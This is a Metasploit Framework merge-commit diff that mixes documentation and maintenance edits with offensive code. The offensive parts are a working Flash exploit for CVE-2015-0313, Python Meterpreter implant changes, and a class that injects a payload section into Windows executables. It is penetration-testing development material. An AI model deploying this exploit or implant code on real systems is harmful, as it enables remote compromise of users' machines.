Merge remote-tracking branch 'upstream/master' into staging/single-vuln-push

bug/bundler_fix
James Lee 2015-03-30 13:50:52 -05:00
commit 2ab4584079
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
105 changed files with 5526 additions and 978 deletions

12
.gitignore vendored
View File

@ -67,17 +67,7 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem.
data/meterpreter/elevator.*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
data/meterpreter/*.dll
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,

View File

@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem, include steps
to reproduce (cut and paste from your console output if it's helpful), and
Please try to be as specific as you can about your problem; include steps
to reproduce (cut and paste from your console output if it's helpful) and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
@ -18,7 +18,7 @@ Metasploit module? If so, read on...
# Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
What you see here in CONTRIBUTING.md is a bullet point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
@ -27,7 +27,7 @@ closed. Sorry!
This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup] guide,
look at the standard [development environment setup] guide
and Metasploit's [Common Coding Mistakes].
## Code Contributions
@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** file duplicate reports; search for your bug before filing a new report.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel]
or e-mail us at [metasploit-hackers] mailing list.
source contributors over on the [Freenode IRC channel],
or e-mail us at the [metasploit-hackers] mailing list.
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!
@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up!
[Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api/
[RSpec]:http://rspec.info/
[Better Specs]:http://betterspecs.org/
[YARD]:http://yardoc.org/
[API]:https://rapid7.github.io/metasploit-framework/api
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

View File

@ -9,7 +9,7 @@ PATH
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.16)
meterpreter_bins (= 0.0.17)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -132,7 +132,7 @@ GEM
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.16)
meterpreter_bins (0.0.17)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.2)

View File

@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
The latest version of this software is available from https://metasploit.com/
The latest version of this software is available from: https://metasploit.com
Bug tracking and development information can be found at:
https://github.com/rapid7/metasploit-framework
@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
Installing
--
Generally, you should use [the free installer](https://www.metasploit.com/download)
which contains all dependencies and will get you up and running with a
Generally, you should use [the free installer](https://www.metasploit.com/download),
which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own.
@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
walk you through the whole process from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request. For slightly more info, see
pull request. For slightly more information, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).

Binary file not shown.

View File

@ -59,6 +59,7 @@ if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@ -69,6 +70,7 @@ else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
if has_ctypes:
#
@ -530,7 +532,7 @@ def get_stat_buffer(path):
if hasattr(si, 'st_blocks'):
blocks = si.st_blocks
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
@ -630,7 +632,7 @@ def channel_open_stdapi_fs_file(request, response):
fmode = fmode.replace('bb', 'b')
else:
fmode = 'rb'
file_h = open(fpath, fmode)
file_h = open(unicode(fpath), fmode)
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@ -923,18 +925,19 @@ def stdapi_sys_process_get_processes(request, response):
@meterpreter.register_function
def stdapi_fs_chdir(request, response):
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.chdir(wd)
os.chdir(unicode(wd))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
os.unlink(file_path)
os.unlink(unicode(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete_dir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if os.path.islink(dir_path):
del_func = os.unlink
else:
@ -945,7 +948,7 @@ def stdapi_fs_delete_dir(request, response):
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.unlink(file_path)
os.unlink(unicode(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -971,25 +974,29 @@ def stdapi_fs_file_expand_path(request, response):
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
os.rename(unicode(oldname), unicode(newname))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
if hasattr(os, 'getcwdu'):
wd = os.getcwdu()
else:
wd = os.getcwd()
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_ls(request, response):
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
path = os.path.abspath(path)
contents = os.listdir(path)
contents.sort()
for x in contents:
y = os.path.join(path, x)
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
path = os.path.abspath(unicode(path))
dir_contents = os.listdir(path)
dir_contents.sort()
for file_name in dir_contents:
file_path = os.path.join(path, file_name)
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -1008,6 +1015,7 @@ def stdapi_fs_md5(request, response):
@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if not os.path.isdir(dir_path):
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@ -1016,6 +1024,7 @@ def stdapi_fs_mkdir(request, response):
def stdapi_fs_search(request, response):
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
search_root = ('' or '.') # sometimes it's an empty string
search_root = unicode(search_root)
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
if recurse:
@ -1056,7 +1065,7 @@ def stdapi_fs_sha1(request, response):
@meterpreter.register_function
def stdapi_fs_stat(request, response):
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
st_buf = get_stat_buffer(path)
st_buf = get_stat_buffer(unicode(path))
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
return ERROR_SUCCESS, response

View File

@ -41,6 +41,7 @@ if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@ -51,6 +52,7 @@ else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
#
# Constants
@ -262,7 +264,9 @@ def tlv_pack(*args):
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if not is_bytes(value):
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
@ -389,11 +393,17 @@ class PythonMeterpreter(object):
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
opener = urllib.build_opener(proxy_handler)
else:
opener = urllib.build_opener()
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)

View File

@ -3,6 +3,7 @@
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/

207
external/source/exploits/CVE-2015-0313/Main.as vendored Executable file
View File

@ -0,0 +1,207 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var worker:Worker
private var mc:MessageChannel
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
public function Main()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
ba.clear()
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
var main:uint = ov[0][0x409] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
byte_write(parseInt(data[0]))
var buffer:uint = parseInt(data[1]) as uint
var main:uint = parseInt(data[2]) as uint
var vtable:uint = parseInt(data[3]) as uint
var flash:uint = base(vtable)
var ieshims:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", ieshims)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -187,13 +187,66 @@ module Metasploit
error_message
end
# Sends a HTTP request with Rex
#
# @param [Hash] Native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
# @option opts[String] 'host' The remote host
# @option opts[Fixnum] 'port' The remote port
# @option opts[Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
# @option opts[String] 'proxies' The proxies setting
# @option opts[Credential] 'credential' A credential object
# @option opts['Hash'] 'context' A context
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
# @return [Rex::Proto::Http::Response] The HTTP response
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
def send_request(opts)
rhost = opts['host'] || host
rport = opts['rport'] || port
cli_ssl = opts['ssl'] || ssl
cli_ssl_version = opts['ssl_version'] || ssl_version
cli_proxies = opts['proxies'] || proxies
username = opts['credential'] ? opts['credential'].public : ''
password = opts['credential'] ? opts['credential'].private : ''
realm = opts['credential'] ? opts['credential'].realm : nil
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
res = nil
cli = Rex::Proto::Http::Client.new(
rhost,
rport,
context,
cli_ssl,
cli_ssl_version,
cli_proxies,
username,
password
)
configure_http_client(cli)
if realm
cli.set_config('domain' => credential.realm)
end
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Attempt a single login with a single credential against the target.
#
# @param credential [Credential] The credential object to attempt to
# login with.
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
@ -209,32 +262,13 @@ module Metasploit
result_opts[:service_name] = 'http'
end
http_client = Rex::Proto::Http::Client.new(
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
proxies, credential.public, credential.private
)
configure_http_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
end
begin
http_client.connect
request = http_client.request_cgi(
'uri' => uri,
'method' => method
)
response = http_client.send_recv(request)
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
if response && response.code == 200
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue Rex::ConnectionError => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
http_client.close
end
Result.new(result_opts)

View File

@ -27,41 +27,6 @@ module Metasploit
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Request#request_raw)
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = nil
cli = Rex::Proto::Http::Client.new(host, port,
{
'Msf' => framework,
'MsfExploit' => framework_module
},
ssl,
ssl_version,
proxies
)
configure_http_client(cli)
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::Errno::EPIPE, ::Timeout::Error => e
# We are trying to mimic the same type of exception rescuing in
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
# raise Rex::ConnectionError so the #attempt_login can return the error message back
# to the login module.
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Returns the latest sid from Symantec Web Gateway.
#
# @returns [String] The PHP Session ID for Symantec Web Gateway login

View File

@ -44,7 +44,7 @@ module Metasploit
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
if untested_payloads_pathname.exist?
tool_path = 'tools/missing-payload-tests.rb'
tool_path = 'tools/missing_payload_tests.rb'
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."

View File

@ -110,7 +110,7 @@ class EncodedPayload
def encode
# If the exploit has bad characters, we need to run the list of encoders
# in ranked precedence and try to encode without them.
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
if reqs['BadChars'].to_s.length > 0 or reqs['Encoder'] or reqs['ForceEncode']
encoders = pinst.compatible_encoders
# Make sure the encoder name from the user has the same String#encoding

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
module Msf
module Exe
require 'metasm'
require 'msf/core/exe/segment_injector'
class SegmentAppender < SegmentInjector
def payload_stub(prefix)
# TODO: Implement possibly helpful payload obfuscation
asm = "new_entrypoint:\n#{prefix}\n"
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded + @payload
end
def generate_pe
# Copy our Template into a new PE
pe_orig = Metasm::PE.decode_file(template)
pe = pe_orig.mini_copy
# Copy the headers and exports
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Don't rebase if we can help it since Metasm doesn't do relocations well
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
# TODO: Look at supporting DLLs in the future
prefix = ''
# Create a new section
s = Metasm::PE::Section.new
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
s.encoded = payload_stub prefix
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
pe.sections << s
pe.invalidate_header
# Change the entrypoint to our new section
pe.optheader.entrypoint = 'new_entrypoint'
pe.cpu = pe_orig.cpu
pe.encode_string
end
end
end
end

View File

@ -59,20 +59,11 @@ module Exe
EOS
end
def payload_as_asm
asm = ''
@payload.each_byte do |byte|
asm << "db " + sprintf("0x%02x", byte) + "\n"
end
return asm
end
def payload_stub(prefix)
asm = "hook_entrypoint:\n#{prefix}\n"
asm << create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded
shellcode.encoded + @payload
end
def generate_pe

View File

@ -49,24 +49,30 @@ module Msf
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = Set.new([
:source, # Either 'script' or 'headers'
:ua_name, # Example: MSIE
:ua_ver, # Example: 8.0, 9.0
:os_name, # Example: Windows 7, Linux
:os_device, # Example: iPad, iPhone, etc
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc
:os_sp, # Example: SP2
:language, # Example: en-us
:arch, # Example: x86
:proxy, # 'true' or 'false'
:silverlight, # 'true' or 'false'
:office, # Example: "2007", "2010"
:java, # Example: 1.6, 1.6.0.0
:clsid, # ActiveX clsid. Also requires the :method key
:method, # ActiveX method. Also requires the :clsid key
:mshtml_build, # mshtml build. Example: "65535"
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
:source, # Return either 'script' or 'headers'
:ua_name, # Example: Returns 'MSIE'
:ua_ver, # Example: Returns '8.0', '9.0'
:os_name, # Example: Returns 'Windows 7', 'Linux'
:os_device, # Example: Returns 'iPad', 'iPhone', etc
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
:os_sp, # Example: Returns 'SP2'
:language, # Example: Returns 'en-us'
:arch, # Example: Returns 'x86'
:proxy, # Returns 'true' or 'false'
:silverlight, # Returns 'true' or 'false'
:office, # Example: Returns "2007", "2010"
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
:mshtml_build, # mshtml build. Example: Returns "65535"
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
# :activex is a special case.
# When you set this requirement in your module, this is how it should be:
# [{:clsid=>'String', :method=>'String'}]
# Where each Hash is a test case
# But when BES receives this information, the JavaScript will return this format:
# "{CLSID}=>Method=>Boolean;"
# Also see: #has_bad_activex?
:activex
])
def initialize(info={})
@ -105,68 +111,61 @@ module Msf
super
end
#
# Returns the custom 404 URL set by the user
#
# @return [String]
#
def get_custom_404_url
datastore['Custom404'].to_s
end
#
# Allows a block of code to access BES resources in a thread-safe fashion
#
# @param block [Proc] Block of code to sync
#
def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block)
end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
#
def get_module_resource
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
end
#
# Returns the absolute URL to the module's resource that points to on_request_exploit
#
# @return [String] absolute URI to the exploit page
#
def get_module_uri
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
end
#
# Returns the current target
#
def get_target
@target
end
#
# Returns a hash of recognizable requirements
#
# @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements
#
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
#
# Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target.
#
# @param profile [Hash] The profile to check
#
def try_set_target(profile)
match_counts = []
target_requirements = {}
@ -195,30 +194,36 @@ module Msf
end
end
#
# Returns true if there's a bad ActiveX, otherwise false.
# @param ax [String] The raw activex the JavaScript detection will return in this format:
# "{CLSID}=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax)
ax.split(';').each do |a|
bool = a.split('=>')[2]
if bool == 'false'
return true
end
end
false
end
# Returns an array of items that do not meet the requirements
#
# @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met
#
